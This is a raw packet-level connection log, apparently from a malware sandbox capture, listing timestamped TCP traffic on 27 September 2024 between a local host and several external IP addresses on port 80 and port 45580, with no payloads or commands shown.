Sep 27, 2024 16:18:25.375729084 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.375762939 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.376281977 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.376324892 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.376326084 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.376337051 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.376352072 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.376362085 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.376367092 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.376382113 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.376403093 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.377132893 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.379050970 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.379064083 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.379113913 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.379127979 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.382560968 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:25.419064045 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:25.424655914 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:25.462188005 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.462311029 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.462405920 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.475097895 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:25.478549957 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:25.510148048 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.510160923 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.510179043 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.510189056 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.510200977 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.510211945 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.510229111 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.510271072 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.510303020 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.510314941 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.510325909 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.510338068 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.510346889 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.510387897 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.510792017 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.510847092 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.510926962 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.511003971 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.511020899 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.511029959 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.511068106 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.511092901 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.511281967 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.511293888 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.511306047 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.511317015 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.511336088 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.511358976 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.511363029 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.511642933 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.511652946 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.511663914 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.511673927 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.511687040 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.511696100 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.511698008 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.511703968 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.511709929 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.511746883 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.511902094 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.511949062 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.511955976 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.511960983 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.511984110 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.511987925 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.512005091 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.512034893 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.512732029 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.512744904 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.512754917 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.512794971 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.512799978 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.512811899 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.512820005 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.512825012 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.512835979 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.512844086 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.512866974 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.512888908 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.512909889 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.512922049 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.512932062 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.512943029 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.512953043 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.512964010 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.512995005 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.513125896 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.513183117 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.513216972 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.513235092 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.513263941 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.513303041 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.513350010 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.554219007 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.554233074 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.554244995 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.554295063 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.554343939 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.702939034 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.703027010 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.703037024 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.703047991 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.703066111 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.703107119 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.703128099 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.703142881 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.703171015 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.703191042 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.703200102 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.703239918 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.703263998 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.703303099 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.703335047 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.703375101 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.703381062 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.703401089 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.703413010 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.703424931 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.703425884 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.703435898 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.703442097 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.703459978 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.703486919 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.703594923 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.703633070 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.703643084 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.703674078 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.703676939 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.703685045 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.703702927 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.703730106 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.704480886 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.704499960 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.704508066 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.704541922 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.704557896 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.704842091 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.704905033 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.704925060 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.704936981 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.704946995 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.704951048 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.704971075 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.704992056 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.704993010 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.705003977 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.705029011 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.705034018 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.705041885 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.705049992 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.705054045 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.705071926 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.705092907 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.706029892 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.706041098 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.706053019 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.706093073 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.706120968 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.706131935 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.706141949 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.706152916 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.706161022 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.706190109 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.706213951 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.706226110 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.706250906 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.706279039 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.706309080 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.706321955 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.706362963 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.706387997 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.706398964 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.706409931 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.706433058 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.706449032 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.706593037 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.706635952 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.706646919 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.706655979 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.706671000 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.706686020 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.706701040 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.706712008 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.706763029 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.706772089 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.706774950 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.706784010 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.706794977 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.706829071 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.707994938 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.708003998 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.708045006 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.708101988 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.708112955 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.708123922 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.708149910 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.708167076 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.708175898 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.708177090 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.708188057 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.708199024 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.708211899 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.708252907 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.710433006 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.710447073 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.710458994 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.710500956 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.710535049 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.710537910 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.710546970 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.710558891 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.710570097 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.710586071 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.710612059 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.710614920 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.710623026 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.710639954 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.710649014 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.710650921 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.710664034 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.710674047 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.710676908 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.710685015 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.710705042 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.710725069 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.710972071 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.711011887 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.711024046 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.711046934 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.711061954 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.725666046 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.725678921 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.725687981 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.725701094 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.725739002 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.725912094 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.726424932 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.729485035 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.735085964 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:25.786900043 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:25.863471985 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.863491058 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.863508940 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.863519907 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.863547087 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.863591909 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.863672018 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.863682985 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.863693953 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.863704920 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.863723040 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.863725901 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.863734961 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.863748074 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.863750935 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.863759995 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.863770962 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.863806009 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.863811016 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.863821030 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.863830090 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.863842010 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.863846064 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.863862038 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.863878965 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.884495974 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.884514093 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.884526968 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.884537935 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.884548903 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.884557009 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.884562016 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.884572983 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.884572983 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.884614944 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.884937048 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.884947062 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.884952068 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.884963036 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.884973049 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.884984016 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.884993076 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.885004997 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885015965 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885023117 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.885044098 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.885070086 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.885090113 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885153055 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885174990 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.885193110 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885200024 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.885242939 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.885315895 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885327101 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885344982 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885350943 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.885360003 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885368109 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.885380030 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885381937 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.885396957 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885407925 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885413885 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.885413885 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.885435104 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.885441065 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885452032 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885468960 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885478973 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885489941 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885497093 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.885499954 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885508060 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.885529041 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.885538101 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.885562897 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885574102 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885585070 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885622978 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.885651112 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.885689974 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885704041 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885715008 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885725975 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885736942 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885742903 CEST	49616	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:25.885756969 CEST	80	49616	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:25.885787010 CEST	49616	80	192.168.2.6	185.215.113.16
